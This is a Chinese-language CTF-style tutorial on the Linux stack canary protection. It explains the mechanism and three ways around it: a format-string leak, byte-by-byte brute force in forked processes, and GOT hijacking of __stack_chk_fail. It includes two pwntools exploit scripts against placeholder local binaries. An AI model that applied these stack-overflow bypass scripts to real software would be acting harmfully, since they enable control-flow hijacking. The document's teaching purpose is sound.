canary(金丝雀保护)
canary(金丝雀保护)
一. 介绍
Canary 的意思是金丝雀,来源于英国矿井工人用来探查井下气体是否有毒的金丝雀笼子。工人们每次下井都会带上一只金丝雀。如果井下的气体有毒,金丝雀由于对毒性敏感就会停止鸣叫甚至死亡,从而使工人们得到预警。
我们知道,通常栈溢出的利用方式是通过溢出存在于栈上的局部变量,从而让多出来的数据覆盖 ebp、eip 等,从而达到劫持控制流的目的。栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让 shellcode 能够得到执行。当启用栈保护后,函数开始执行的时候会先往栈底插入 cookie 信息,当函数真正返回的时候会验证 cookie 信息是否合法 (栈帧销毁前测试该值是否被改变),如果不合法就停止程序运行 (栈溢出发生)。攻击者在覆盖返回地址的时候往往也会将 cookie 信息给覆盖掉,导致栈保护检查失败而阻止 shellcode 的执行,避免漏洞利用成功。在 Linux 中我们将 cookie 信息称为 Canary。
由于 stack overflow 而引发的攻击非常普遍也非常古老,相应地一种叫做 Canary 的 mitigation 技术很早就出现在 glibc 里,直到现在也作为系统安全的第一道防线存在。
Canary 不管是实现还是设计思想都比较简单高效,就是插入一个值在 stack overflow 发生的高危区域的尾部。当函数返回之时检测 Canary 的值是否经过了改变,以此来判断 stack/buffer overflow 是否发生。
Canary 与 Windows 下的 GS 保护都是缓解栈溢出攻击的有效手段,它的出现很大程度上增加了栈溢出攻击的难度,并且由于它几乎并不消耗系统资源,所以现在成了 Linux 下保护机制的标配。
问题:
- 如何判断是否开启了canary保护?(直接使用checksec即可分析)
- canary到底在哪里?(调用函数_stack_chk_fail时传递的参数)
- canary当中的数据如何获得?(在本地当中应该时可以直接读取的,但是在服务器和本地分配的不同,故不能直接读取,只能通过打印泄露得到)
二. 绕过机制
1. 格式化字符串绕过
Canary 设计为以字节 \x00 结尾,本意是为了保证 Canary 可以截断字符串。 泄露栈中的 Canary 的思路是覆盖 Canary 的低字节,来打印出剩余的 Canary 部分。 这种利用方式需要存在合适的输出函数,并且可能需要先泄露 Canary,之后再次溢出控制执行流程。前提是存在格式化字符串漏洞,利用该漏洞泄露Canary.
参考payload:
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='i386', os='linux')#arch也可以是i386~看文件
local = 1
elf = ELF('./bin')
#标志位,0和1
if local:
p = process('./bin')
libc = elf.libc
else:
p = remote('',)
libc = ELF('./')
payload = '%7$x' #这里就是为了泄露Canary发出的payload
p.sendline(payload)
canary = int(p.recv(),16)
print canary
getflag = 0x0804863B
payload = 'a'*100 + p32(canary) + 'a'*12 + p32(getflag)
p.send(payload)
p.interactive()
2. Canary爆破
利用fork进程特征,canary的不变性(在同一进程当中使用fork函数创建的子进程的Canary是相同的),通过循环爆破canary的每一位,适用于存在fork函数的情况。
由于Canary的最低位字节是0x00,故32位的程序需要爆破3位0-255,64位程序需要爆破7位0-255。
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='i386', os='linux')#arch也可以是i386~看文件
local = 1
elf = ELF('./bin1')
#标志位,0和1
if local:
p = process('./bin1')
libc = elf.libc
else:
p = remote('',)
libc = ELF('./')
p.recvuntil('welcome\n')
canary = '\x00'
for i in range(3):
for i in range(256):
p.send('a'*100 + canary + chr(i))
a = p.recvuntil("welcome\n")
if "recv" in a:
canary += chr(i)
break
#没有问题,密码本身就是存在的,所以我们要做的就是依次进行猜测,时间复杂度为255*3.
getflag = 0x0804863B
payload = 'a'*100 + canary + 'a'*12 + p32(getflag)
p.sendline(payload)
p.interactive()
3. 劫持_stack_chk_fail
可以通过修改got表当中的_stack_chk_fail符号对应的地址为我们的目地地址,故意触发保护机制来实现劫持功能。